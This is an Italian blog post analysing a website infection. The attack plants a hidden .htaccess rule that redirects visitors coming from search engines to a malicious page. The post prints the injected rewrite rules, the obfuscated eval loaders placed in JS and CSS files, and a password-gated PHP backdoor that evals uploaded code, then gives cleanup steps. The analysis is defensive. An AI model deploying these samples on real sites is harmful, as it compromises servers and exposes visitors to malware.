Home » Sicurezza » .htaccess hacking – Redirect per chi arriva dai Motori di Ricerca – PARTE 1

.htaccess hacking – Redirect per chi arriva dai Motori di Ricerca – PARTE 1

In questi giorni, come dicevo nel precedente post, sto analizzando/studiando un tipo di hacking che consiste nel redirettare i visitatori che provengono da un Motore di Ricerca verso una pagina malevola contenente link a Trojan/Malware.

Tale file “.htaccess” nella sua semplicità risulta essere furbo poiché ragiona in due modi:

  1. Se non è presente alcun “.htaccess” ne crea uno all’insaputa dell’utente con il codice scritto dalla Riga 101 in poi così anche se viene aperto il file non viene visto il codice;
  2. Se invece esiste già un file “.htaccess” provvedere ad aggiungere 101 righe vuote in coda e successivamente il codice senza modificare quanto già presente. Lo scopo è sempre quello di evitare che l’utente si accorga dell’infezione nel caso apra il file.

Va inoltre fatto notare che, per come è strutturato risulta essere “furbo” anche perché l’hacking è visibile solo a chi proviene dai Motori di Ricerca e, quindi, a coloro che con molta probabilità non conoscono il sito (visto che lo cercano sui Motori). Il Webmaster che probabilmente digita l’indirizzo del proprio dominio invece di ricercarlo non si accorgerebbe del problema ma continuerebbe a vedere il proprio sito correttamente caricato e navigabile.

I Codici Utilizzati

Nel dettaglio il codice del file “.htaccess” che viene creato:

1
2
3
4
5
6
7
8
9
10
11
# a0b4df006e02184c60dbf503e71c87ad
RewriteEngine On
RewriteCond %{HTTP_REFERER} ^[url]http://[/url]([a-z0-9_\-]+\.)*(google|msn|yahoo|live|ask|dogpile|mywebsearch|yandex|rambler|aport|mail|gogo|poisk|
alltheweb|f ireball|freenet|abacho|wanadoo|free|club-internet|aliceadsl|alice|skynet|terra|ya|orange|clix|terravista|gratis-ting|suomi24)\. [NC]
RewriteCond %{HTTP_REFERER} [?&](q|query|qs|searchfor|search_for|w|p|r|key|keywords|search_string|
search_word|buscar|text|words|su|q t|rdata)\=
RewriteCond %{HTTP_REFERER} ![?&](q|query|qs|searchfor|search_for|w|p|r|key|keywords|search_string|
search_word|buscar|text|words|su|q t|rdata)\=[^&]+(%3A|%22)
RewriteCond %{TIME_SEC} <59
RewriteRule ^.*$ /admin/wysiwyg/rujez/uhe/ex3/t.htm [L]
# a995d2cc661fa72452472e9554b5520c

Tale codice indica che se il referrer (l’indirizzo di provenienza) del visitatore che richiama la pagina è uno dei Motori di Ricerca indicati rediretta il visitatore all’Url:

/admin/wysiwyg/rujez/uhe/ex3/t.htm

L’indirizzo dove viene posizionata la pagina “t.htm” varia sempre a seconda degli script e delle cartelle presenti nello spazio della vittima.

I Motori di Ricerca che vengono verificati sono i seguenti:

  • Google
  • Msn
  • Yahoo
  • Live
  • Ask
  • DogPile
  • My Web Search
  • Yandex
  • Rambler
  • Aport
  • Mail
  • GoGo
  • Poisk
  • All The Web
  • FireBall
  • FreeNet
  • Abacho
  • Wanadoo
  • Free
  • Club-Internet
  • Alice Ads
  • Alice
  • Skynet
  • Terra
  • Ya
  • Orange
  • Clix
  • Terravista
  • Gratis-Ting
  • Suomi24

La pagina a cui rimanda appare come un “clone” di Blogger dove vengono inseriti testi generati casualmente.

Eccone un esempio:

Esempio di hacking via .htaccess

Esempio di hacking via .htaccess (Pagina t.htm)

Oltre questo, una volta infettato un sito questo hacking provvede ad aggiungere in tutti i file “.css” e “.js” un codice incapsulato che provvede a ricreare costantemente il file “.htaccess” qualora venga eliminato.

Nei file Javascript (.js) viene inserito il seguente codice:

1
2
3
/* a0b4df006e02184c60dbf503e71c87ad */
 ;eval(unescape(%69%66%20%28%21%64%6F%63%75%6D%65%6E%74%2E%67%65%74%45%6C%65%6D%65%6E%74%42%79%49%64%28%27%4A%53%53%53%27%29%29%7B%20%4A%53%53%31%20%3D%20%35%39%3B%20%4A%53%53%32%20%3D%20%32%36%30%34%36%32%38%3B%20%4A%53%53%33%20%3D%20%27%2F%77%69%6B%69%2F%46%43%4B%65%64%69%74%6F%72%2F%65%64%69%74%6F%72%2F%69%6D%61%67%65%73%2F%6F%66%61%64%65%6C%69%2F%64%75%6D%6D%79%2E%68%74%6D%27%3B%20%76%61%72%20%6A%73%20%3D%20%64%6F%63%75%6D%65%6E%74%2E%63%72%65%61%74%65%45%6C%65%6D%65%6E%74%28%27%73%63%72%69%70%74%27%29%3B%20%6A%73%2E%73%65%74%41%74%74%72%69%62%75%74%65%28%27%73%72%63%27%2C%20%27%2F%77%69%6B%69%2F%46%43%4B%65%64%69%74%6F%72%2F%65%64%69%74%6F%72%2F%69%6D%61%67%65%73%2F%6F%66%61%64%65%6C%69%2F%63%68%65%63%6B%2E%6A%73%27%29%3B%20%6A%73%2E%73%65%74%41%74%74%72%69%62%75%74%65%28%27%69%64%27%2C%20%27%4A%53%53%53%27%29%3B%20%64%6F%63%75%6D%65%6E%74%2E%67%65%74%45%6C%65%6D%65%6E%74%73%42%79%54%61%67%4E%61%6D%65%28%27%68%65%61%64%27%29%2E%69%74%65%6D%28%30%29%2E%61%70%70%65%6E%64%43%68%69%6C%64%28%6A%73%29%20%7D%3B%20'));
/* a995d2cc661fa72452472e9554b5520c */

Mentre nei Fogli di Stile (.css) viene inserito questo codice:

1
2
3
/* a0b4df006e02184c60dbf503e71c87ad */
body { margin-top: expression(eval(unescape(%69%66%20%28%21%64%6F%63%75%6D%65%6E%74%2E%67%65%74%45%6C%65%6D%65%6E%74%42%79%49%64%28%27%4A%53%53%53%27%29%29%7B%20%4A%53%53%31%20%3D%20%35%39%3B%20%4A%53%53%32%20%3D%20%32%36%30%34%36%32%38%3B%20%4A%53%53%33%20%3D%20%27%2F%77%69%6B%69%2F%46%43%4B%65%64%69%74%6F%72%2F%65%64%69%74%6F%72%2F%69%6D%61%67%65%73%2F%6F%66%61%64%65%6C%69%2F%64%75%6D%6D%79%2E%68%74%6D%27%3B%20%76%61%72%20%6A%73%20%3D%20%64%6F%63%75%6D%65%6E%74%2E%63%72%65%61%74%65%45%6C%65%6D%65%6E%74%28%27%73%63%72%69%70%74%27%29%3B%20%6A%73%2E%73%65%74%41%74%74%72%69%62%75%74%65%28%27%73%72%63%27%2C%20%27%2F%77%69%6B%69%2F%46%43%4B%65%64%69%74%6F%72%2F%65%64%69%74%6F%72%2F%69%6D%61%67%65%73%2F%6F%66%61%64%65%6C%69%2F%63%68%65%63%6B%2E%6A%73%27%29%3B%20%6A%73%2E%73%65%74%41%74%74%72%69%62%75%74%65%28%27%69%64%27%2C%20%27%4A%53%53%53%27%29%3B%20%64%6F%63%75%6D%65%6E%74%2E%67%65%74%45%6C%65%6D%65%6E%74%73%42%79%54%61%67%4E%61%6D%65%28%27%68%65%61%64%27%29%2E%69%74%65%6D%28%30%29%2E%61%70%70%65%6E%64%43%68%69%6C%64%28%6A%73%29%20%7D%3B%20'))) }
/* a995d2cc661fa72452472e9554b5520c */

In alcune situazioni è capitato di individuare del codice inserito anche nelle pagine Php (.php;.php3).Tale codice serve a colui che attacca per verificare la presenza di vulnerabilità nella vittima e, in particolare, per verificare che eventuali inclusioni esterne vengano elaborate correttamente.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
< ?php
error_reporting(1);
global $HTTP_SERVER_VARS;
function say($t) { echo$t\n”; };
function testdata($t) {     say(md5(”testdata_$t”)); };
echo “ ”; testdata(’start’);
if (md5($_POST["p"])==”aace99428c50dbe965acc93f3f275cd3?){
     if ($code = @fread(@fopen($HTTP_POST_FILES["f"]["tmp_name"],”rb”),$HTTP_POST_FILES["f"]["size"])){
 eval($code);
 } else{ testdata(’f');
 };
 }     else{testdata(’pass’); };
testdata(’end’);
echo ”  “; ?>


Il codice presente nei CSS e nei JavaScript è stato decodificato e in chiaro appare così:

1
2
3
4
5
6
7
8
9
if (!document.getElementById(’JSSS’)){
JSS1 = 59;
JSS2 = 159180;
JSS3 =/admin/wysiwyg/rujez/dummy.htm’;
var js = document.createElement(’script’);
js.setAttribute(’src’,/admin/wysiwyg/rujez/check.js’);
js.setAttribute(’id’, ‘JSSS’);
document.getElementsByTagName(’head’).item(0).appendChild(js)
};

Infine viene creato un file “check.js” contenente il seguente codice:

1
2
(Math.random()*60 < JSS1) && document.referrer.match(/^http:\/\/([a-z0-9_\-]+\.)*(google|msn|yahoo|live|ask|dogpile|mywebsearch|yandex|rambler|aport|mail|gogo|poisk|
alltheweb|fireball|freenet|abacho|wanadoo|free|club-internet|aliceadsl|alice|skynet|terra|ya|orange|clix|terravista|gratis-ting|suomi24)\./)

Come Lavora

Dalle verifiche che ho potuto effettuare per ora risulta che non vi è una tecnica costante di intrusione ma i siti vengono hackerati sfruttando le falle presenti quindi si va dall’XSS (Cross Site Scripting) all’RFI (Remote File Inclusion) all’hacking (probabilmente tramite Brute Force ) dell’account Ftp con successivo upload dei file.

Nel dettaglio lo script effettua una primo tentativo di attacco tentando una HTTP Injection nel tentativo di fare includere nelle pagine della vittima un Url ad una pagina contenente il solo codice:

< ?php echo md5("just_a_test"); ?>

Questo semplice codice servirà a chi esegue l’Hacking per verificare la presenza della vulnerabilità o meno. Se tramite l’Http Injection individua nella pagine della vittima la stringa MD5 della parola “just_a_test” avrà conferma che la vittima è vulnerabile in quanto elabora correttamente pagine esterne.

Se tale test da esito positivo effettuerà una seconda HTTP Injection facendo eseguire uno Script Php che provvederà a scansionare tutte le cartelle e file presenti nel sito creando i file “.htaccess” ed eseguendo l’edit di ogni file “.css” e “.js“.

Potete trovare il dettaglio dei codici che vengono sfruttati nei seguenti link:

WhyRon 1

WhyRon 2

Come Rimuovere il Malware?

Attualmente, al fine di proteggersi e pulire il proprio sito è consigliabile effettuare le seguenti operazioni:

  1. Ricercare in tutti i file del proprio sito la stringa “a0b4df006e02184c60dbf503e71c87ad” ed eliminare il codice da tutte le pagine dove viene trovato. Eseguire la stessa ricerca cercando la stringa “aace99428c50dbe965acc93f3f275cd3” ed eliminare i file dove viene trovato. Il software PowerGrep (Link Rapidshare) in questo caso è molto utile.
  2. Eliminare tutti i file e cartelle che si è sicuri non facciano riferimento al proprio sito. (Il file “t.htm” contenente la pagina malevola viene inserito all’interno di cartelle con nomi che apparentemente sembrano essere generati random)
  3. Effettuare una scansione del proprio sito al fine di individuare la vulnerabilità che ha permesso tale intrusione. In questo caso consiglio di utilizzare uno degli Scanner disponibili on line come, ad esempio, Acunetix.
  4. Effettuare un cambio dei dati o della sola password Ftp de Sito.

Spero che tali informazioni siano state utili e vi informo che provvederò a mantenere aggiornato questo post man mano che scopro maggiori informazioni riguardo tale Hacking.

Ti è stato utile? Votalo!
[Voti: 0    Media Voto: 0/5]
Altro... defacement, hacking htaccess, htaccess, http referer, JavaScript
Chiudi